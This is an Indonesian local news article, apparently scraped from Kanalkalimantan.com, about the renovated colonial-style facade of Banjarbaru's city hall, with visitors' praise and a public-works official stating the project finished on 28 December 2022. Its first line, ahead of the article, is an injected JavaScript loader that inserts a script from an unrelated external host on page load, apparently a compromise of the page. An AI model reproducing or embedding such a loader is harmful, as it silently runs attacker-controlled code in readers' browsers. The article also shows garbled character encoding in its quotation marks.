(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Balai kota Banjarbaru menjadi pusat perhatian di awal tahun 2023, ya tempat dimana Wali Kota Banjarbaru berkantor memiliki wajah baru setelah direhab.
Pantauan Kanalkalimantan.com, masyarakat pengunjung lapangan Murdjani Banjarbaru memadati lokasi pasar rakyat. Dan, tidak sedikit masyarakat mengabadikan Balai kota sebagai latar belakang berfoto.
Salah satunya, Sarma warga Lamandau, Provinsi Kalteng, terkejut dan sangat menyanjung Balai kota Banjarbaru seperti bangunan era kolonial yang benar-benar peninggalan penjajahan.
Alun-alun atau lapangan Murdjani depan Balai kota Banjarbaru saat malam hari ramai dikunjungi warga. Foto: ibnu Â
Baca juga:Â Terlibat Laka Maut, Pengemudi Ojek Online di Banjarmasin Meninggal di Tempat
“Saya takjub, ada Balai kota sudah zaman kolonial dahulu,†ujarnya.
Dirinya menyebutkan, bangunan Balai kota Banjarbaru ini seperti kota tua yang ada di Jakarta, dan halaman Kota Tua sangat padat didatangi pengunjung. Terlebih, lapangan Murdjani alias alun-alun Banjarbaru sudah terkenal.
Hal senada disampaikan oleh Ketua LBDH Kalsel, Zainuddin melihat Balai kota Banjarbaru sudah sangat baik dan menjaga keaslian kolonial bentuk bangunan.
“Sungguh luar biasa, bangunan ini sudah tepat masa kolonial,†tegasnya.
Alun-alun atau lapangan Murdjani depan Balai kota Banjarbaru saat malam hari ramai dikunjungi warga. Foto: ibnu Â
Baca juga:Â Malam Tahun Baru Salam Malah Nginap di Penjara Polisi
Sekada diketahui, rehab Balai kota Banjarbaru dengan perubahan fasad, sempat mendapat sorotan dari kalangan masyarakat karena disebut akan merubah keaslian bentuk bangunan. Bahkan, pembangunan fasad ini mendapat keraguan publik bisa selesai sesuai target.
Kepala Bidang Cipta Karya Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru, Nina Aprodita mengklaim, proyek pengerjaan fasad Balai kota Banjarbaru tak ada keterlambatan.
“Fasad sudah selesai per tanggal 28 Desember 2022. Sudah dilakukan serah terima pekerjaan pertama (PHO). Tidak ada keterlambatan pekerjaan,†ujarnya.
Selepas PHO, sebagaimana biasanya pekerjaan konstruksi, maka katanya akan ada masa pemeliharaan selama 180 hari kalender. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.